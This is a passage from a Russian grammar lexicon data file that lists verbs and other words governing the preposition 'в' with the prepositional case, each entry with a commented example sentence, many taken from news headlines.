(ВЫЗЫВАТЬ) rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ) rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ) rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ) rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ) rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ) rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ) rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ) rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ) rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ) rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ) инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан глагол:проводить{ вид:несоверш }, деепричастие:проводя{}, rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл) rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл) rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл) rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл) rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл) rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл) rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл) rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл) rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл) rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл) rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл) rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл) rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл) rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл) rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл) прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В) rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл) rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл) rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл) rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл) rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл) rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл) rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл) rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл) rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В) rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В) rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл) rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В) rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл) rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл) rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В) rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл) rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл) rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В) rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл) rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В) rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В) rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В) rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В) rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл) rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В) частица:нет{}, // В этом нет сомнения. частица:нету{}, // В этом нету сомнения. rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов. прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В) rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В) rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В) rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В) rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл) rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В) rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в) rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В) rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В) rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В) rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В) rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В) rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В) rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В) rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В) rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В) rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В) rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В) rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В) rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В) rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:РАСКЛАДЫВАТЬСЯ{}, rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В) rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В) rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В) rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В) rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл) rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В) rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В) инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В) глагол:НАПИСАТЬ{ aux stress="напис^ать" }, прилагательное:НАПИСАННЫЙ{}, rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В) rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В) rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В) rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В) rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В) rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В) rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл) rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл) rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В) безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в) rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В) rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В) rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В) rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В) rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В) rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В) rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В) rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В) rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В) rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В) rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В) rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В) rus_verbs:объявить{}, // В газете объявили о конкурсе. rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В) rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В) rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в) rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в) rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в) rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в) инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В) глагол:ПАРИТЬ{ aux stress="пар^ить"}, деепричастие:паря{ aux stress="пар^я" }, прилагательное:ПАРЯЩИЙ{}, прилагательное:ПАРИВШИЙ{}, rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В) rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В) rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в) rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В) rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В) rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В) rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В) rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В) rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В) rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в) rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в) rus_verbs:принять{}, // Документ принят в следующей редакции (принять в) rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в) rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В) rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в) rus_verbs:звучать{}, // в доме звучала музыка (звучать в) rus_verbs:колебаться{}, // колеблется в выборе (колебаться в) rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в) rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в) rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в) rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в) rus_verbs:вычитывать{}, // вычитывать в книге rus_verbs:гудеть{}, // У него в ушах гудит. rus_verbs:давать{}, // В этой лавке дают в долг? rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки. rus_verbs:разойтись{}, // Они разошлись в темноте. rus_verbs:прибежать{}, // Мальчик прибежал в слезах. rus_verbs:биться{}, // Она билась в истерике. rus_verbs:регистрироваться{}, // регистрироваться в системе rus_verbs:считать{}, // я буду считать в уме rus_verbs:трахаться{}, // трахаться в гамаке rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке rus_verbs:разрушать{}, // разрушать в дробилке rus_verbs:засидеться{}, // засидеться в гостях rus_verbs:засиживаться{}, // засиживаться в гостях rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке) rus_verbs:навестить{}, // навестить в доме престарелых rus_verbs:запомнить{}, // запомнить в кэше rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.) rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка) rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику. rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.) rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу rus_verbs:оглядываться{}, // оглядываться в зеркале rus_verbs:нарисовать{}, // нарисовать в тетрадке rus_verbs:пробить{}, // пробить отверствие в стене rus_verbs:повертеть{}, // повертеть в руке rus_verbs:вертеть{}, // Я вертел в руках rus_verbs:рваться{}, // Веревка рвется в месте надреза rus_verbs:распространяться{}, // распространяться в среде наркоманов rus_verbs:попрощаться{}, // попрощаться в здании морга rus_verbs:соображать{}, // соображать в уме инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот) rus_verbs:разобрать{}, // разобрать в гараже rus_verbs:помереть{}, // помереть в пути rus_verbs:различить{}, // различить в темноте rus_verbs:рисовать{}, // рисовать в графическом редакторе rus_verbs:проследить{}, // проследить в записях камер слежения rus_verbs:совершаться{}, // Правосудие совершается в суде rus_verbs:задремать{}, // задремать в кровати rus_verbs:ругаться{}, // ругаться в комнате rus_verbs:зазвучать{}, // зазвучать в радиоприемниках rus_verbs:задохнуться{}, // задохнуться в воде rus_verbs:порождать{}, // порождать в неокрепших умах rus_verbs:отдыхать{}, // отдыхать в санатории rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении rus_verbs:образовать{}, // образовать в пробирке темную взвесь rus_verbs:отмечать{}, // отмечать в списке rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте rus_verbs:плясать{}, // плясать в откружении незнакомых людей rus_verbs:повысить{}, // повысить в звании rus_verbs:поджидать{}, // поджидать в подъезде rus_verbs:отказать{}, // отказать в пересмотре дела rus_verbs:раствориться{}, // раствориться в бензине rus_verbs:отражать{}, // отражать в стихах rus_verbs:дремать{}, // дремать в гамаке rus_verbs:применяться{}, // применяться в домашних условиях rus_verbs:присниться{}, // присниться во сне rus_verbs:трястись{}, // трястись в драндулете rus_verbs:сохранять{}, // сохранять в неприкосновенности rus_verbs:расстрелять{}, // расстрелять в ложбине rus_verbs:рассчитать{}, // рассчитать в программе rus_verbs:перебирать{}, // перебирать в руке rus_verbs:разбиться{}, // разбиться в аварии rus_verbs:поискать{}, // поискать в углу rus_verbs:мучиться{}, // мучиться в тесной клетке rus_verbs:замелькать{}, // замелькать в телевизоре rus_verbs:грустить{}, // грустить в одиночестве rus_verbs:крутить{}, // крутить в банке rus_verbs:объявиться{}, // объявиться в городе rus_verbs:подготовить{}, // подготовить в тайне rus_verbs:различать{}, // различать в смеси rus_verbs:обнаруживать{}, // обнаруживать в крови rus_verbs:киснуть{}, // киснуть в захолустье rus_verbs:оборваться{}, // оборваться в начале фразы rus_verbs:запутаться{}, // запутаться в веревках rus_verbs:общаться{}, // общаться в интимной обстановке rus_verbs:сочинить{}, // сочинить в ресторане rus_verbs:изобрести{}, // изобрести в домашней лаборатории rus_verbs:прокомментировать{}, // прокомментировать в своем блоге rus_verbs:давить{}, // давить в зародыше rus_verbs:повториться{}, // повториться в новом обличье rus_verbs:отставать{}, // отставать в общем зачете rus_verbs:разработать{}, // разработать в лаборатории rus_verbs:качать{}, // качать в кроватке rus_verbs:заменить{}, // заменить в двигателе rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере rus_verbs:забегать{}, // забегать в спешке rus_verbs:наделать{}, // наделать в решении ошибок rus_verbs:исказиться{}, // исказиться в кривом зеркале rus_verbs:тушить{}, // тушить в помещении пожар rus_verbs:охранять{}, // охранять в здании входы rus_verbs:приметить{}, // приметить в кустах rus_verbs:скрыть{}, // скрыть в складках одежды rus_verbs:удерживать{}, // удерживать в заложниках rus_verbs:увеличиваться{}, // увеличиваться в размере rus_verbs:красоваться{}, // красоваться в новом платье rus_verbs:сохраниться{}, // сохраниться в тепле rus_verbs:лечить{}, // лечить в стационаре rus_verbs:смешаться{}, // смешаться в баке rus_verbs:прокатиться{}, // прокатиться в троллейбусе rus_verbs:договариваться{}, // договариваться в закрытом кабинете rus_verbs:опубликовать{}, // опубликовать в официальном блоге rus_verbs:охотиться{}, // охотиться в прериях rus_verbs:отражаться{}, // отражаться в окне rus_verbs:понизить{}, // понизить в должности rus_verbs:обедать{}, // обедать в ресторане rus_verbs:посидеть{}, // посидеть в тени rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете rus_verbs:свершиться{}, // свершиться в суде rus_verbs:ночевать{}, // ночевать в гостинице rus_verbs:темнеть{}, // темнеть в воде rus_verbs:гибнуть{}, // гибнуть в застенках rus_verbs:усиливаться{}, // усиливаться в направлении главного удара rus_verbs:расплыться{}, // расплыться в улыбке rus_verbs:превышать{}, // превышать в несколько раз rus_verbs:проживать{}, // проживать в отдельной коморке rus_verbs:голубеть{}, // голубеть в тепле rus_verbs:исследовать{}, // исследовать в естественных условиях rus_verbs:обитать{}, // обитать в лесу rus_verbs:скучать{}, // скучать в одиночестве rus_verbs:сталкиваться{}, // сталкиваться в воздухе rus_verbs:таиться{}, // таиться в глубине rus_verbs:спасать{}, // спасать в море rus_verbs:заблудиться{}, // заблудиться в лесу rus_verbs:создаться{}, // создаться в новом виде rus_verbs:пошарить{}, // пошарить в кармане rus_verbs:планировать{}, // планировать в программе rus_verbs:отбить{}, // отбить в нижней части rus_verbs:отрицать{}, // отрицать в суде свою вину rus_verbs:основать{}, // основать в пустыне новый город rus_verbs:двоить{}, // двоить в глазах rus_verbs:устоять{}, // устоять в лодке rus_verbs:унять{}, // унять в ногах дрожь rus_verbs:отзываться{}, // отзываться в обзоре rus_verbs:притормозить{}, // притормозить в траве rus_verbs:читаться{}, // читаться в глазах rus_verbs:житься{}, // житься в деревне rus_verbs:заиграть{}, // заиграть в жилах rus_verbs:шевелить{}, // шевелить в воде rus_verbs:зазвенеть{}, // зазвенеть в ушах rus_verbs:зависнуть{}, // зависнуть в библиотеке rus_verbs:затаить{}, // затаить в душе обиду rus_verbs:сознаться{}, // сознаться в совершении rus_verbs:протекать{}, // протекать в легкой форме rus_verbs:выясняться{}, // выясняться в ходе эксперимента rus_verbs:скрестить{}, // скрестить в неволе rus_verbs:наводить{}, // наводить в комнате порядок rus_verbs:значиться{}, // значиться в документах rus_verbs:заинтересовать{}, // заинтересовать в получении результатов rus_verbs:познакомить{}, // познакомить в непринужденной обстановке rus_verbs:рассеяться{}, // рассеяться в воздухе rus_verbs:грохнуть{}, // грохнуть в подвале rus_verbs:обвинять{}, // обвинять в вымогательстве rus_verbs:столпиться{}, // столпиться в фойе rus_verbs:порыться{}, // порыться в сумке rus_verbs:ослабить{}, // ослабить в верхней части rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки rus_verbs:спастись{}, // спастись в хижине rus_verbs:прерваться{}, // прерваться в середине фразы rus_verbs:применять{}, // применять в повседневной работе rus_verbs:строиться{}, // строиться в зоне отчуждения rus_verbs:путешествовать{}, // путешествовать в самолете rus_verbs:побеждать{}, // побеждать в честной битве rus_verbs:погубить{}, // погубить в себе артиста rus_verbs:рассматриваться{}, // рассматриваться в следующей главе rus_verbs:продаваться{}, // продаваться в специализированном магазине rus_verbs:разместиться{}, // разместиться в аудитории rus_verbs:повидать{}, // повидать в жизни rus_verbs:настигнуть{}, // настигнуть в пригородах rus_verbs:сгрудиться{}, // сгрудиться в центре загона rus_verbs:укрыться{}, // укрыться в доме rus_verbs:расплакаться{}, // расплакаться в суде rus_verbs:пролежать{}, // пролежать в канаве rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде rus_verbs:поскользнуться{}, // поскользнуться в коридоре rus_verbs:таскать{}, // таскать в руках rus_verbs:нападать{}, // нападать в вольере rus_verbs:просматривать{}, // просматривать в браузере rus_verbs:обдумать{}, // обдумать в дороге rus_verbs:обвинить{}, // обвинить в измене rus_verbs:останавливать{}, // останавливать в дверях rus_verbs:теряться{}, // теряться в догадках rus_verbs:погибать{}, // погибать в бою rus_verbs:обозначать{}, // обозначать в списке rus_verbs:запрещать{}, // запрещать в парке rus_verbs:долететь{}, // долететь в вертолёте rus_verbs:тесниться{}, // тесниться в каморке rus_verbs:уменьшаться{}, // уменьшаться в размере rus_verbs:издавать{}, // издавать в небольшом издательстве rus_verbs:хоронить{}, // хоронить в море rus_verbs:перемениться{}, // перемениться в лице rus_verbs:установиться{}, // установиться в северных областях rus_verbs:прикидывать{}, // прикидывать в уме rus_verbs:затаиться{}, // затаиться в траве rus_verbs:раздобыть{}, // раздобыть в аптеке rus_verbs:перебросить{}, // перебросить в товарном составе rus_verbs:погружаться{}, // погружаться в батискафе rus_verbs:поживать{}, // поживать в одиночестве rus_verbs:признаваться{}, // признаваться в любви rus_verbs:захватывать{}, // захватывать в здании rus_verbs:покачиваться{}, // покачиваться в лодке rus_verbs:крутиться{}, // крутиться в колесе rus_verbs:помещаться{}, // помещаться в ящике rus_verbs:питаться{}, // питаться в столовой rus_verbs:отдохнуть{}, // отдохнуть в пансионате rus_verbs:кататься{}, // кататься в коляске rus_verbs:поработать{}, // поработать в цеху rus_verbs:подразумевать{}, // подразумевать в задании rus_verbs:ограбить{}, // ограбить в подворотне rus_verbs:преуспеть{}, // преуспеть в бизнесе rus_verbs:заерзать{}, // заерзать в кресле rus_verbs:разъяснить{}, // разъяснить в другой статье rus_verbs:продвинуться{}, // продвинуться в изучении rus_verbs:поколебаться{}, // поколебаться в начале rus_verbs:засомневаться{}, // засомневаться в честности rus_verbs:приникнуть{}, // приникнуть в уме rus_verbs:скривить{}, // скривить в усмешке rus_verbs:рассечь{}, // рассечь в центре опухоли rus_verbs:перепутать{}, // перепутать в роддоме rus_verbs:посмеяться{}, // посмеяться в перерыве rus_verbs:отмечаться{}, // отмечаться в полицейском участке rus_verbs:накопиться{}, // накопиться в отстойнике rus_verbs:уносить{}, // уносить в руках rus_verbs:навещать{}, // навещать в больнице rus_verbs:остыть{}, // остыть в проточной воде rus_verbs:запереться{}, // запереться в комнате rus_verbs:обогнать{}, // обогнать в первом круге rus_verbs:убеждаться{}, // убеждаться в неизбежности rus_verbs:подбирать{}, // подбирать в магазине rus_verbs:уничтожать{}, // уничтожать в полете rus_verbs:путаться{}, // путаться в показаниях rus_verbs:притаиться{}, // притаиться в темноте rus_verbs:проплывать{}, // проплывать в лодке rus_verbs:засесть{}, // засесть в окопе rus_verbs:подцепить{}, // подцепить в баре rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок rus_verbs:оправдаться{}, // оправдаться в суде rus_verbs:созреть{}, // созреть в естественных условиях rus_verbs:раскрываться{}, // раскрываться в подходящих условиях rus_verbs:ожидаться{}, // ожидаться в верхней части rus_verbs:одеваться{}, // одеваться в дорогих бутиках rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта rus_verbs:грабить{}, // грабить в подворотне rus_verbs:ужинать{}, // ужинать в ресторане rus_verbs:гонять{}, // гонять в жилах rus_verbs:уверить{}, // уверить в безопасности rus_verbs:потеряться{}, // потеряться в лесу rus_verbs:устанавливаться{}, // устанавливаться в комнате rus_verbs:предоставлять{}, // предоставлять в суде rus_verbs:протянуться{}, // протянуться в стене rus_verbs:допрашивать{}, // допрашивать в бункере rus_verbs:проработать{}, // проработать в кабинете rus_verbs:сосредоточить{}, // сосредоточить в своих руках rus_verbs:утвердить{}, // утвердить в должности rus_verbs:сочинять{}, // сочинять в дороге rus_verbs:померкнуть{}, // померкнуть в глазах rus_verbs:показываться{}, // показываться в окошке rus_verbs:похудеть{}, // похудеть в талии rus_verbs:проделывать{}, // проделывать в стене rus_verbs:прославиться{}, // прославиться в интернете 